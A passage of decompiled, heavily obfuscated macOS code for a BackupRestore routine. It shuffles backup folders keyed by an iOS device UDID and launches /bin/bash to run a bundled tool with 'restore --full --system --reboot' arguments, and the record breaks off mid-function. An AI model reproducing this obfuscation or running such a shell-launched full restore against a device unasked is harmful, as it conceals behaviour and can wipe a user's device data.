// 10027EE80: using guessed type __CFString stru_10027EE80;
// 10027EEC0: using guessed type __CFString cfstr_N_21;
// 10027EF00: using guessed type __CFString cfstr_S_14;
// 10027EF40: using guessed type __CFString stru_10027EF40;
// 10027EF80: using guessed type __CFString cfstr_2_1;
// 10027F000: using guessed type __CFString cfstr_UM;
// 10027F040: using guessed type __CFString stru_10027F040;
// 10027F080: using guessed type __CFString cfstr_N2wn;
// 10027F0C0: using guessed type __CFString cfstr_0_1_0;
// 10027F100: using guessed type __CFString cfstr_M_8;
// 10027F140: using guessed type __CFString stru_10027F140;
// 10027F180: using guessed type __CFString stru_10027F180;
// 10029F58C: using guessed type int dword_10029F58C;
//----- (0000000100114851) ----------------------------------------------------
__int64 BackupRestore()
{
bool v0; // zf
int v1; // eax
int v2; // ecx
NSString *v3; // rax
NSString *v4; // r13
id v5; // rax
NSArray *v6; // rax
NSArray *v7; // rax
id v8; // rax
NSFileManager *v9; // rax
char v10; // cf
int v11; // ecx
char v12; // cf
int v13; // ecx
bool v14; // zf
int v15; // ecx
id v16; // rax
id v17; // rax
id v18; // rax
id v19; // rax
unsigned __int8 v20; // al
id v21; // rax
id v22; // rax
id v23; // rax
id v24; // rax
id v25; // rax
int v26; // eax
NSString *v27; // rax
NSString *v28; // r12
NSURL *v29; // rax
NSArray *v30; // rax
id v31; // rax
NSFileManager *v32; // rax
NSFileManager *v33; // rax
id v34; // rax
id v35; // rax
id v36; // rax
NSString *v37; // rax
NSArray *v38; // rax
id v39; // rax
id v40; // rax
id v41; // rax
id v42; // rax
id v43; // rax
id v44; // rax
int v45; // eax
id v46; // rax
id v47; // rax
id v48; // rax
id v50; // [rsp+0h] [rbp-1A0h] BYREF
id v51; // [rsp+8h] [rbp-198h]
id v52; // [rsp+10h] [rbp-190h]
id v53; // [rsp+18h] [rbp-188h]
const char *v54; // [rsp+20h] [rbp-180h]
SEL v55; // [rsp+28h] [rbp-178h]
id v56; // [rsp+30h] [rbp-170h]
id v57; // [rsp+38h] [rbp-168h]
id v58; // [rsp+40h] [rbp-160h]
id v59; // [rsp+48h] [rbp-158h]
id v60; // [rsp+50h] [rbp-150h]
__objc2_class *v61; // [rsp+58h] [rbp-148h]
id v62; // [rsp+60h] [rbp-140h]
id v63; // [rsp+68h] [rbp-138h]
id v64; // [rsp+70h] [rbp-130h]
id v65; // [rsp+78h] [rbp-128h]
id v66; // [rsp+80h] [rbp-120h]
id v67; // [rsp+88h] [rbp-118h]
int v68; // [rsp+94h] [rbp-10Ch]
int v69; // [rsp+98h] [rbp-108h]
int v70; // [rsp+9Ch] [rbp-104h] BYREF
id *v71; // [rsp+A0h] [rbp-100h]
id *v72; // [rsp+A8h] [rbp-F8h]
SEL v73; // [rsp+B0h] [rbp-F0h]
id v74; // [rsp+B8h] [rbp-E8h]
id v75; // [rsp+C0h] [rbp-E0h]
id v76; // [rsp+C8h] [rbp-D8h]
id v77; // [rsp+D0h] [rbp-D0h]
id v78; // [rsp+D8h] [rbp-C8h]
id v79; // [rsp+E0h] [rbp-C0h]
id v80; // [rsp+E8h] [rbp-B8h]
id v81; // [rsp+F0h] [rbp-B0h]
id v82; // [rsp+F8h] [rbp-A8h]
id *v83; // [rsp+100h] [rbp-A0h]
id *v84; // [rsp+108h] [rbp-98h]
id v85; // [rsp+110h] [rbp-90h]
SEL v86; // [rsp+118h] [rbp-88h]
id v87; // [rsp+120h] [rbp-80h]
id v88; // [rsp+128h] [rbp-78h]
id v89; // [rsp+130h] [rbp-70h]
id *v90; // [rsp+138h] [rbp-68h]
id v91; // [rsp+140h] [rbp-60h]
id v92; // [rsp+148h] [rbp-58h]
bool v93; // [rsp+157h] [rbp-49h]
char v94; // [rsp+158h] [rbp-48h]
bool v95; // [rsp+159h] [rbp-47h]
unsigned __int8 v96; // [rsp+15Ah] [rbp-46h]
bool v97; // [rsp+15Bh] [rbp-45h]
unsigned __int8 v98; // [rsp+15Ch] [rbp-44h]
unsigned __int8 v99; // [rsp+15Dh] [rbp-43h]
bool v100; // [rsp+15Eh] [rbp-42h]
unsigned __int8 v101; // [rsp+15Fh] [rbp-41h]
bool v102; // [rsp+160h] [rbp-40h]
unsigned __int8 v103; // [rsp+161h] [rbp-3Fh]
bool v104; // [rsp+162h] [rbp-3Eh]
char v105; // [rsp+163h] [rbp-3Dh]
char v106; // [rsp+164h] [rbp-3Ch]
char v107; // [rsp+165h] [rbp-3Bh]
char v108; // [rsp+166h] [rbp-3Ah]
char v109; // [rsp+167h] [rbp-39h]
int *v110; // [rsp+168h] [rbp-38h]
__int64 v111; // [rsp+170h] [rbp-30h]
v111 = -1;
v68 = 3;
v70 = -1310981844;
v110 = &v70;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v70 <= -177537091 )
{
if ( v70 <= -1083163983 )
{
if ( v70 > -1461151224 )
{
if ( v70 <= -1256653524 )
{
if ( v70 > -1315930976 )
{
if ( v70 > -1280530489 )
{
if ( v70 == -1280530488 )
{
strcpy(asc_10027F380, "Failed to remove existing directory for UUID: %@");
asc_10027F329[0] = 34;
asc_10027F329[1] = 37;
asc_10027F329[2] = 64;
asc_10027F329[3] = 34;
asc_10027F329[4] = 32;
asc_10027F329[5] = 37;
asc_10027F329[6] = 64;
asc_10027F329[7] = 0;
strcpy(asc_10027F300, "Failed to move item for UUID: %@");
strcpy(asc_100279B00, "hooks/resources/3m104dU/a12");
qmemcpy(aHO, "-d restore --full ", 18);
*v110 = 302444101;
}
else if ( v70 == -1267911391 )
{
v0 = 0;
v1 = -1085010088;
v2 = -1267911391;
goto LABEL_352;
}
}
else
{
if ( v70 == -1315930975 )
{
v0 = 0;
v1 = -800311216;
v2 = -1716584373;
goto LABEL_352;
}
if ( v70 == -1310981844 )
{
v14 = v68 == 500395850;
v1 = -205066439;
v15 = -1630927930;
goto LABEL_341;
}
}
}
else if ( v70 > -1384551371 )
{
if ( v70 == -1384551370 )
{
v10 = 1;
v1 = -1461151223;
v11 = -590921148;
goto LABEL_357;
}
if ( v70 == -1337558832 )
*v110 = 1072956380;
}
else if ( v70 == -1461151223 )
{
v39 = objc_msgSend(&OBJC_CLASS___iOSDevice, v86);
objc_retainAutoreleasedReturnValue(v39);
*v110 = -590921148;
}
else if ( v70 == -1450882886 )
{
*v110 = 541295332;
v108 = 0;
v79 = v87;
}
}
else if ( v70 <= -1147812028 )
{
if ( v70 > -1184725147 )
{
if ( v70 == -1184725146 )
{
*v110 = -341537318;
}
else if ( v70 == -1158119541 )
{
*v90 = 0;
v96 = (unsigned __int8)objc_msgSend(v92, "removeItemAtPath:error:", v91, v90);
v74 = *v90;
objc_retain(v74);
v14 = 0;
v1 = -1158119541;
v15 = 197062293;
goto LABEL_341;
}
}
else if ( v70 == -1256653523 )
{
*v110 = -1384551370;
}
else if ( v70 == -1242836578 )
{
v0 = 0;
v1 = -636705989;
v2 = -566381975;
goto LABEL_352;
}
}
else if ( v70 <= -1137300893 )
{
if ( v70 == -1147812027 )
{
*v110 = -1672218330;
v80 = v53;
v81 = v89;
v82 = v76;
v109 = v105;
}
else if ( v70 == -1138296777 )
{
*v110 = -765775828;
}
}
else
{
switch ( v70 )
{
case -1137300892:
objc_release(v58);
HikariFunctionWrapper_17461(v92, "fileExistsAtPath:");
*v110 = 822275304;
break;
case -1128162496:
*v110 = -717350297;
break;
case -1085010088:
*v110 = -2072113735;
break;
}
}
}
else if ( v70 <= -1845417135 )
{
if ( v70 > -1959970153 )
{
if ( v70 > -1953255821 )
{
if ( v70 == -1953255820 )
{
*v110 = 1749938549;
}
else if ( v70 == -1908760326 )
{
*v110 = 869849421;
}
}
else if ( v70 == -1959970152 )
{
objc_release(v67);
objc_release(v66);
objc_release(v65);
objc_release(v91);
objc_release(v92);
objc_release(v85);
objc_release(v56);
*v110 = 344456274;
}
else if ( v70 == -1959395203 )
{
*v110 = 1384585112;
}
}
else if ( v70 > -1994701444 )
{
if ( v70 == -1994701443 )
{
v0 = 0;
v1 = -860794232;
v2 = -882972031;
goto LABEL_352;
}
if ( v70 == -1984728924 )
*v110 = -1083163982;
}
else
{
if ( v70 == -2072113735 )
{
v12 = 1;
v1 = 2111890373;
v13 = 1716856290;
goto LABEL_348;
}
if ( v70 == -2036410198 )
{
v10 = 1;
v1 = 2016177444;
v11 = 575178936;
goto LABEL_357;
}
}
}
else if ( v70 <= -1672218331 )
{
if ( v70 > -1704769523 )
{
if ( v70 == -1704769522 )
{
v97 = v96 == 0;
v0 = 0;
v1 = -78291218;
v2 = -1704769522;
goto LABEL_352;
}
if ( v70 == -1697717316 )
*v110 = -228531483;
}
else if ( v70 == -1845417134 )
{
*v110 = -394962660;
}
else if ( v70 == -1716584373 )
{
showErrMessage(v88);
objc_release(v88);
*v110 = -800311216;
}
}
else if ( v70 <= -1649277430 )
{
if ( v70 == -1672218330 )
{
v106 = v109;
v65 = v82;
v66 = v81;
v67 = v80;
v12 = 0;
v1 = -1959970152;
v13 = 344456274;
goto LABEL_348;
}
if ( v70 == -1650935493 )
{
v0 = 0;
v1 = 1191870099;
v2 = 335853544;
goto LABEL_352;
}
}
else
{
switch ( v70 )
{
case -1649277429:
v45 = 541295332;
if ( v104 )
v45 = 1281173298;
*v110 = v45;
v108 = 1;
v79 = v87;
break;
case -1632535347:
v35 = HikariFunctionWrapper_17445((objc_class *)&OBJC_CLASS___NSTask);
v89 = HikariFunctionWrapper_17447(v35, "init");
v36 = objc_msgSend(
myBundle,
"pathForResource:ofType:",
CFSTR("\x14\xB5\xA7lKA\x10\x8Bb\xA51j1\x1E\xD9\x21\xA5\xBF\x87\x1E\xD4\xF4\xEC\x8E\x51\xBF"),
&stru_10025B688);
v53 = objc_retainAutoreleasedReturnValue(v36);
v54 = "stringWithFormat:";
v37 = +[NSString stringWithFormat:](
&OBJC_CLASS___NSString,
"stringWithFormat:",
CFSTR("\x8DB\x87\xB8d\xAE\x9E"),
v53,
CFSTR("H\x1B\x06O\xBE\xA1}~\xD4\x79\xA1\xCF\xC7\x85V-\r\xDC\x7A\xFDY\xF1\xBB\xC0\xA2\xDE\xCCc\xD1\xCFC\xD5\xCBN0\xBB\a\u0089\xA7\xBD\x04\x9E?\x8A\xC0\x63\b\x19cS\xAC\xD7\x30\v\x11\xE2\x5C\x3C"));
v78 = objc_retainAutoreleasedReturnValue(v37);
HikariFunctionWrapper_17449(v89, "setLaunchPath:");
*v71 = CFSTR("\xC3\x7F\x90");
v71[1] = v78;
v38 = +[NSArray arrayWithObjects:count:](
&OBJC_CLASS___NSArray,
"arrayWithObjects:count:",
v71,
2);
v62 = objc_retainAutoreleasedReturnValue(v38);
*v110 = -553485652;
break;
case -1630927930:
v10 = 1;
v69 = dword_10029F590;
v1 = -1630927930;
v11 = -1128162496;
goto LABEL_357;
}
}
}
else if ( v70 <= -636705990 )
{
if ( v70 <= -828390531 )
{
if ( v70 > -1006935044 )
{
if ( v70 > -882972032 )
{
if ( v70 == -882972031 )
{
objc_msgSend(v92, v73, v91);
*v110 = -860794232;
}
else if ( v70 == -860794232 )
{
v20 = (unsigned __int8)objc_msgSend(v92, v73, v91);
v12 = 1;
v101 = v20;
v1 = 2092465346;
v13 = -882972031;
goto LABEL_348;
}
}
else if ( v70 == -1006935043 )
{
*v110 = -280740551;
}
else if ( v70 == -921268401 )
{
v16 = HikariFunctionWrapper_17463(v61, v86);
v17 = objc_retainAutoreleasedReturnValue(v16);
v18 = objc_msgSend(
v60,
"stringWithFormat:",
CFSTR("\xF8\x92>Gł\x03\n\xCA\x22g\x99\xB3ܚ\xF1\x07\x67\xEA@\xED\xBE\xCB\xAB\xD4\xF5 jԁ"),
v17);
objc_retainAutoreleasedReturnValue(v18);
*v110 = 1750064607;
}
}
else if ( v70 > -1067012015 )
{
if ( v70 == -1067012014 )
{
NSLog(CFSTR("\xC0\x35\x19\x9E$a@RT\xA6)x\xA2\x88\xA9㹕\xB8]nBJ6\x8D\t-\xE7\x2B\x55\xDD\x20\x11"));
*v110 = -1058879061;
}
else if ( v70 == -1058879061 )
{
NSLog(CFSTR("\xC0\x35\x19\x9E$a@RT\xA6)x\xA2\x88\xA9㹕\xB8]nBJ6\x8D\t-\xE7\x2B\x55\xDD\x20\x11"));
v0 = 0;
v1 = 577257478;
v2 = -1067012014;
goto LABEL_352;
}
}
else
{
if ( v70 == -1083163982 )
{
v10 = 0;
v1 = 1439503794;
goto LABEL_273;
}
if ( v70 == -1081587176 )
{
objc_retain(v87);
v104 = v103 == 0;
v12 = 1;
v1 = 2055809182;
v13 = 956418091;
goto LABEL_348;
}
}
}
else if ( v70 <= -743572439 )
{
if ( v70 > -766739683 )
{
if ( v70 == -766739682 )
{
*v110 = 973779671;
}
else if ( v70 == -765775828 )
{
v14 = 0;
v1 = 94941722;
v15 = -564227969;
goto LABEL_341;
}
}
else
{
if ( v70 == -828390530 )
{
v12 = 1;
v1 = -1450882886;
v13 = -828390530;
goto LABEL_348;
}
if ( v70 == -800311216 )
{
HikariFunctionWrapper_17455(v88);
objc_release(v88);
v10 = 0;
v1 = -1006935043;
v11 = -800311216;
goto LABEL_357;
}
}
}
else if ( v70 <= -701284666 )
{
if ( v70 == -743572438 )
{
*v110 = -1704769522;
}
else if ( v70 == -717350297 )
{
v93 = v69 == 0;
*v110 = -358397383;
}
}
else
{
switch ( v70 )
{
case -701284665:
*v110 = 460113418;
break;
case -691737370:
*v110 = 1369701941;
break;
case -690358003:
v12 = 0;
v1 = -691737370;
v13 = 1369701941;
goto LABEL_348;
}
}
}
else if ( v70 > -514477803 )
{
if ( v70 <= -358397384 )
{
if ( v70 > -377812207 )
{
if ( v70 == -377812206 )
{
v14 = 0;
v1 = 528829062;
v15 = 1437115297;
goto LABEL_341;
}
if ( v70 == -377203681 )
{
*v72 = 0;
v103 = (unsigned __int8)objc_msgSend(v92, "removeItemAtPath:error:", v91, v72);
v87 = *v72;
*v110 = -514477802;
}
}
else
{
if ( v70 == -514477802 )
{
v0 = 0;
v1 = -1081587176;
v2 = 956418091;
goto LABEL_352;
}
if ( v70 == -394962660 )
{
objc_msgSend(v89, v55, v62);
objc_release(v62);
objc_msgSend(v89, "launch");
HikariFunctionWrapper_17451(v89, "waitUntilExit");
v0 = (unsigned __int8)objc_msgSend(v92, v73, BACKUP_DIR) == 0;
v1 = 1399454353;
v2 = -1994701443;
goto LABEL_352;
}
}
}
else if ( v70 <= -280740552 )
{
if ( v70 == -358397383 )
{
v14 = !v93;
v1 = -1650935493;
v15 = 1600177979;
goto LABEL_341;
}
if ( v70 == -341537318 )
{
v12 = 1;
v1 = 1750064607;
v13 = -921268401;
goto LABEL_348;
}
}
else
{
switch ( v70 )
{
case -280740551:
v10 = 0;
v1 = -828390530;
v11 = 1270644257;
goto LABEL_357;
case -228531483:
v14 = 0;
v55 = "setArguments:";
v1 = -228531483;
v15 = -1845417134;
goto LABEL_341;
case -205066439:
*v110 = -1630927930;
break;
}
}
}
else if ( v70 <= -566381976 )
{
if ( v70 > -590921149 )
{
if ( v70 == -590921148 )
{
v24 = objc_msgSend(&OBJC_CLASS___iOSDevice, v86);
v25 = objc_retainAutoreleasedReturnValue(v24);
v12 = 1;
v75 = v25;
v1 = 56848071;
v13 = -1461151223;
goto LABEL_348;
}
if ( v70 == -583320315 )
{
asc_10027F210[20] = v94 ^ 0x41;
asc_10027F210[21] = 66;
asc_10027F210[22] = 65;
asc_10027F210[23] = 67;
asc_10027F210[24] = 75;
asc_10027F210[25] = 85;
asc_10027F210[26] = 80;
asc_10027F210[27] = 95;
asc_10027F210[28] = 68;
asc_10027F210[29] = 73;
asc_10027F210[30] = 82;
asc_10027F210[31] = 46;
asc_10027F210[32] = 0;
*v110 = -1650935493;
}
}
else
{
if ( v70 == -636705989 )
{
v14 = 0;
v1 = -566381975;
v15 = 46942048;
goto LABEL_341;
}
if ( v70 == -601838653 )
*v110 = 1037778450;
}
}
else if ( v70 <= -563879300 )
{
if ( v70 == -566381975 )
{
*v110 = -636705989;
}
else if ( v70 == -564227969 )
{
*v84 = 0;
v99 = (unsigned __int8)objc_msgSend(v92, "removeItemAtPath:error:", v63, v84);
*v110 = -1908760326;
}
}
else
{
switch ( v70 )
{
case -563879299:
*v110 = -583320315;
break;
case -553485652:
v10 = 0;
v1 = -228531483;
v11 = -1697717316;
goto LABEL_357;
case -535631872:
v0 = 0;
v60 = &OBJC_CLASS___NSString;
v61 = &OBJC_CLASS___iOSDevice;
v1 = -1184725146;
v2 = -177537090;
goto LABEL_352;
}
}
}
if ( v70 <= 869849420 )
break;
if ( v70 > 1437115296 )
{
if ( v70 <= 1807888791 )
{
if ( v70 > 1716856289 )
{
if ( v70 > 1750064606 )
{
if ( v70 == 1750064607 )
{
v40 = HikariFunctionWrapper_17443(v61, v86);
v52 = objc_retainAutoreleasedReturnValue(v40);
v41 = objc_msgSend(
v60,
"stringWithFormat:",
CFSTR("\xF8\x92>Gł\x03\n\xCA\x22g\x99\xB3ܚ\xF1\x07\x67\xEA@\xED\xBE\xCB\xAB\xD4\xF5 jԁ"),
v52);
v42 = objc_retainAutoreleasedReturnValue(v41);
v0 = 0;
v77 = v42;
v1 = -1984728924;
v2 = 1750064607;
goto LABEL_352;
}
if ( v70 == 1773000549 )
*v110 = -2642646;
}
else if ( v70 == 1716856290 )
{
*v83 = 0;
*v110 = 2111890373;
}
else if ( v70 == 1749938549 )
{
v10 = 1;
v1 = -1953255820;
v11 = 1871925575;
goto LABEL_357;
}
}
else if ( v70 > 1485190051 )
{
if ( v70 == 1485190052 )
{
v10 = 0;
v1 = 822275304;
v11 = -1137300892;
goto LABEL_357;
}
if ( v70 == 1600177979 )
{
v12 = 0;
v1 = -1280530488;
v13 = 302444101;
goto LABEL_348;
}
}
else
{
if ( v70 == 1437115297 )
{
aHO[18] = v107;
aHO[19] = 45;
aHO[20] = 115;
aHO[21] = 121;
aHO[22] = 115;
aHO[23] = 116;
aHO[24] = 101;
aHO[25] = 109;
aHO[26] = 32;
aHO[27] = 45;
aHO[28] = 45;
aHO[29] = 114;
aHO[30] = 101;
aHO[31] = 98;
aHO[32] = 111;
aHO[33] = 111;
aHO[34] = 116;
aHO[35] = 32;
aHO[36] = 45;
aHO[37] = 45;
aHO[38] = 115;
aHO[39] = 101;
aHO[40] = 116;
aHO[41] = 116;
aHO[42] = 105;
aHO[43] = 110;
aHO[44] = 103;
aHO[45] = 115;
aHO[46] = 32;
aHO[47] = 126;
aHO[48] = 47;
aHO[49] = 68;
aHO[50] = 111;
aHO[51] = 99;
aHO[52] = 117;
aHO[53] = 109;
aHO[54] = 101;
aHO[55] = 110;
aHO[56] = 116;
aHO[57] = 115;
aHO[58] = 0;
strcpy(asc_10027F23B, "/bin/bash");
strcpy(asc_10027F1C0, "Error cleaning up UID");
asc_100279FD3[0] = 45;
asc_100279FD3[1] = 99;
asc_100279FD3[2] = 0;
qmemcpy(asc_10027F210, "Successfully removed", 20);
v0 = 0;
v94 = 97;
v1 = -563879299;
v2 = 528829062;
goto LABEL_352;
}
if ( v70 == 1439503794 )
{
showErrMessage(v77);
v10 = 0;
v1 = 556422878;
LABEL_273:
v11 = 1055768288;
goto LABEL_357;
}
}
}
else if ( v70 <= 2042551521 )
{
if ( v70 > 1996968633 )
{
if ( v70 == 1996968634 )
{
*v110 = -377812206;
}
else if ( v70 == 2016177444 )
{
objc_release(v74);
*v110 = 575178936;
}
}
else if ( v70 == 1807888792 )
{
v26 = -377203681;
if ( v102 )
v26 = 541295332;
*v110 = v26;
v108 = 1;
v79 = 0;
}
else if ( v70 == 1871925575 )
{
v14 = !v97;
v1 = -2036410198;
v15 = -48291956;
goto LABEL_341;
}
}
else if ( v70 <= 2058318920 )
{
if ( v70 == 2042551522 )
{
v12 = 0;
v1 = -743572438;
v13 = -1704769522;
goto LABEL_348;
}
if ( v70 == 2055809182 )
*v110 = -1649277429;
}
else
{
switch ( v70 )
{
case 2058318921:
*v110 = -1267911391;
break;
case 2092465346:
*v110 = -690358003;
break;
case 2111890373:
v10 = 1;
v51 = BACKUP_DIR;
*v83 = 0;
v1 = 1716856290;
v11 = -66399167;
goto LABEL_357;
}
}
}
else if ( v70 <= 1080099932 )
{
if ( v70 > 973779670 )
{
if ( v70 > 1055768287 )
{
if ( v70 == 1055768288 )
{
showErrMessage(v77);
*v110 = 1439503794;
}
else if ( v70 == 1072956380 )
{
v10 = 1;
v59 = &OBJC_CLASS___NSString;
v1 = 1072956380;
v11 = -1256653523;
goto LABEL_357;
}
}
else
{
if ( v70 == 973779671 )
{
v0 = 0;
v1 = -1267911391;
v2 = 2058318921;
goto LABEL_352;
}
if ( v70 == 1037778450 )
{
v10 = 0;
v1 = 810281872;
v11 = 965022763;
goto LABEL_357;
}
}
}
else if ( v70 > 956911031 )
{
if ( v70 == 956911032 )
{
objc_release(v64);
objc_release(v78);
*v110 = 644366333;
}
else if ( v70 == 965022763 )
{
v21 = objc_msgSend(v57, "UDID");
v22 = objc_retainAutoreleasedReturnValue(v21);
v23 = objc_msgSend(v85, "stringByAppendingPathComponent:", v22);
objc_retainAutoreleasedReturnValue(v23);
*v110 = 810281872;
}
}
else
{
if ( v70 == 869849421 )
{
v12 = 0;
v1 = 1773000549;
v13 = -2642646;
goto LABEL_348;
}
if ( v70 == 956418091 )
{
objc_retain(v87);
*v110 = -1081587176;
}
}
}
else if ( v70 <= 1281173297 )
{
if ( v70 > 1191870098 )
{
if ( v70 == 1191870099 )
{
dword_10029F590 = 1;
v90 = &v50 - 2;
v83 = &v50 - 2;
v71 = &v50 - 2;
v84 = &v50 - 2;
v72 = &v50 - 2;
v27 = NSTemporaryDirectory();
v28 = objc_retainAutoreleasedReturnValue(v27);
v29 = +[NSURL fileURLWithPath:](&OBJC_CLASS___NSURL, "fileURLWithPath:", v28);
objc_unsafeClaimAutoreleasedReturnValue(v29);
objc_release(v28);
v30 = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, 1u, 1);
v56 = objc_retainAutoreleasedReturnValue(v30);
v31 = HikariFunctionWrapper_17437(v56, "objectAtIndex:");
v85 = objc_retainAutoreleasedReturnValue(v31);
v32 = +[NSFileManager defaultManager](&OBJC_CLASS___NSFileManager, "defaultManager");
v33 = objc_retainAutoreleasedReturnValue(v32);
v12 = 0;
v92 = v33;
v57 = &OBJC_CLASS___iOSDevice;
v1 = 1191870099;
v13 = -601838653;
goto LABEL_348;
}
if ( v70 == 1270644257 )
*v110 = -828390530;
}
else
{
if ( v70 == 1080099933 )
{
v10 = 1;
v1 = -1959395203;
LABEL_310:
v11 = 1384585112;
goto LABEL_357;
}
if ( v70 == 1106549625 )
{
v1 = -1632535347;
v2 = 215432048;
if ( v76 )
v1 = 215432048;
v0 = v98 == 0;
goto LABEL_352;
}
}
}
else if ( v70 <= 1369701940 )
{
if ( v70 == 1281173298 )
{
v34 = HikariFunctionWrapper_17453(&OBJC_CLASS___NSString, v54);
v88 = objc_retainAutoreleasedReturnValue(v34);
*v110 = -1315930975;
}
else if ( v70 == 1301666915 )
{
*v110 = -1672218330;
v80 = v50;
v81 = v75;
v82 = v74;
v109 = 0;
}
}
else
{
switch ( v70 )
{
case 1369701941:
v102 = v101 == 0;
v14 = 0;
v1 = 1369701941;
v15 = 809261719;
LABEL_341:
if ( !v14 )
v1 = v15;
goto LABEL_359;
case 1384585112:
v10 = 0;
v1 = 1807888792;
goto LABEL_310;
case 1399454353:
v10 = 1;
v1 = -701284665;
LABEL_331:
v11 = 460113418;
goto LABEL_357;
}
}
}
if ( v70 <= 344456273 )
break;
if ( v70 <= 627126594 )
{
if ( v70 > 541295331 )
{
if ( v70 > 575178935 )
{
if ( v70 == 575178936 )
{
objc_release(v74);
v12 = 1;
v1 = -766739682;
v13 = 2016177444;
goto LABEL_348;
}
if ( v70 == 577257478 )
*v110 = -1242836578;
}
else
{
if ( v70 == 541295332 )
{
v64 = v79;
v105 = v108;
v10 = 0;
v1 = 644366333;
v11 = 956911032;
goto LABEL_357;
}
if ( v70 == 556422878 )
{
*v110 = -1672218330;
v80 = v77;
v81 = v52;
v82 = v76;
v109 = 0;
}
}
}
else if ( v70 > 460113417 )
{
if ( v70 == 460113418 )
{
v10 = 0;
v63 = BACKUP_DIR;
v1 = -1138296777;
goto LABEL_331;
}
if ( v70 == 528829062 )
{
aHO[18] = v107;
aHO[19] = 45;
aHO[20] = 115;
aHO[21] = 121;
aHO[22] = 115;
aHO[23] = 116;
aHO[24] = 101;
aHO[25] = 109;
aHO[26] = 32;
aHO[27] = 45;
aHO[28] = 45;
aHO[29] = 114;
aHO[30] = 101;
aHO[31] = 98;
aHO[32] = 111;
aHO[33] = 111;
aHO[34] = 116;
aHO[35] = 32;
aHO[36] = 45;
aHO[37] = 45;
aHO[38] = 115;
aHO[39] = 101;
aHO[40] = 116;
aHO[41] = 116;
aHO[42] = 105;
aHO[43] = 110;
aHO[44] = 103;
aHO[45] = 115;
aHO[46] = 32;
aHO[47] = 126;
aHO[48] = 47;
aHO[49] = 68;
aHO[50] = 111;
aHO[51] = 99;
aHO[52] = 117;
aHO[53] = 109;
aHO[54] = 101;
aHO[55] = 110;
aHO[56] = 116;
aHO[57] = 115;
aHO[58] = 0;
strcpy(asc_10027F23B, "/bin/bash");
strcpy(asc_10027F1C0, "Error cleaning up UID");
asc_100279FD3[0] = 45;
asc_100279FD3[1] = 99;
asc_100279FD3[2] = 0;
qmemcpy(asc_10027F210, "Successfully removed", 20);
*v110 = 1437115297;
}
}
else
{
if ( v70 == 344456274 )
{
objc_release(v67);
objc_release(v66);
objc_release(v65);
objc_release(v91);
objc_release(v92);
objc_release(v85);
objc_release(v56);
v12 = 1;
v1 = -37554120;
v13 = -1959970152;
goto LABEL_348;
}
if ( v70 == 416813535 )
{
v14 = !v95;
v1 = -16618717;
v15 = -2072113735;
goto LABEL_341;
}
}
}
else if ( v70 <= 710709692 )
{
if ( v70 > 672675290 )
{
if ( v70 == 672675291 )
{
v98 = (unsigned __int8)objc_msgSend(v92, "moveItemAtPath:toPath:error:", v51, v91, v83);
v76 = *v83;
objc_retain(v76);
*v110 = 1106549625;
}
else if ( v70 == 684926262 )
{
*v110 = 1749938549;
}
}
else
{
if ( v70 == 627126595 )
{
v14 = !v100;
v1 = 230839104;
v15 = -1994701443;
goto LABEL_341;
}
if ( v70 == 644366333 )
{
objc_release(v64);
objc_release(v78);
v10 = 1;
v1 = 644366333;
v11 = -1147812027;
goto LABEL_357;
}
}
}
else if ( v70 <= 810281871 )
{
if ( v70 == 710709693 )
{
*v90 = 0;
objc_msgSend(v92, "removeItemAtPath:error:", v91, v90);
objc_retain(*v90);
*v110 = -1158119541;
}
else if ( v70 == 809261719 )
{
*v110 = 1080099933;
}
}
else
{
switch ( v70 )
{
case 810281872:
v86 = "UDID";
v46 = objc_msgSend(v57, "UDID");
v58 = objc_retainAutoreleasedReturnValue(v46);
v47 = HikariFunctionWrapper_17439(v85, "stringByAppendingPathComponent:");
v48 = objc_retainAutoreleasedReturnValue(v47);
v0 = 0;
v91 = v48;
v1 = 866108318;
v2 = 810281872;
LABEL_352:
if ( v0 )
v1 = v2;
goto LABEL_359;
case 822275304:
objc_release(v58);
v73 = "fileExistsAtPath:";
v95 = (unsigned __int8)objc_msgSend(v92, "fileExistsAtPath:", v91) == 0;
v12 = 1;
v1 = 416813535;
v13 = 822275304;
goto LABEL_348;
case 866108318:
*v110 = 1485190052;
break;
}
}
}
if ( v70 <= 56848070 )
break;
if ( v70 <= 197062292 )
{
if ( v70 > 110457317 )
{
if ( v70 == 110457318 )
{
v43 = objc_msgSend(
v59,
"stringWithFormat:",
CFSTR("\xDF\x0D259\x10\xF2\xA2\x87\x2C\x05\x02\x80\x85\xD4\xF4\x1A\xCF\x33\xF99\xA1\xB9\xB3=\xC0\x3B\x14\xA3)\x9A\xCA\x19]\xEE\x49\x60^\xAF\xA4\xA0\xFF\xA5\x99q&\x7F\x1F"),
v75);
v44 = objc_retainAutoreleasedReturnValue(v43);
showErrMessage(v44);
*v110 = -146825369;
}
else if ( v70 == 140439596 )
{
v12 = 0;
v1 = 110457318;
v13 = -146825369;
goto LABEL_348;
}
}
else if ( v70 == 56848071 )
{
*v110 = 140439596;
}
else if ( v70 == 94941722 )
{
*v84 = 0;
objc_msgSend(v92, "removeItemAtPath:error:", v63, v84);
*v110 = -564227969;
}
}
else if ( v70 <= 230839103 )
{
if ( v70 == 197062293 )
{
*v110 = 2042551522;
}
else if ( v70 == 215432048 )
{
v14 = 0;
v1 = -177537090;
v15 = -535631872;
goto LABEL_341;
}
}
else
{
switch ( v70 )
{
case 230839104:
v10 = 0;
v1 = -1058879061;
v11 = -1067012014;
goto LABEL_357;
case 302444101:
strcpy(asc_10027F380, "Failed to remove existing directory for UUID: %@");
asc_10027F329[0] = 34;
asc_10027F329[1] = 37;
asc_10027F329[2] = 64;
asc_10027F329[3] = 34;
asc_10027F329[4] = 32;
asc_10027F329[5] = 37;
asc_10027F329[6] = 64;
asc_10027F329[7] = 0;
strcpy(asc_10027F300, "Failed to move item for UUID: %@");
strcpy(asc_100279B00, "hooks/resources/3m104dU/a12");
qmemcpy(aHO, "-d restore --full ", 18);
v14 = 0;
v107 = 45;
v1 = 302444101;
v15 = 1996968634;
goto LABEL_341;
case 335853544:
dword_10029F590 = 1;
v3 = NSTemporaryDirectory();
v4 = objc_retainAutoreleasedReturnValue(v3);
v5 = HikariFunctionWrapper_17457(&OBJC_CLASS___NSURL, "fileURLWithPath:");
objc_unsafeClaimAutoreleasedReturnValue(v5);
objc_release(v4);
v6 = NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, 1u, 1);
v7 = objc_retainAutoreleasedReturnValue(v6);
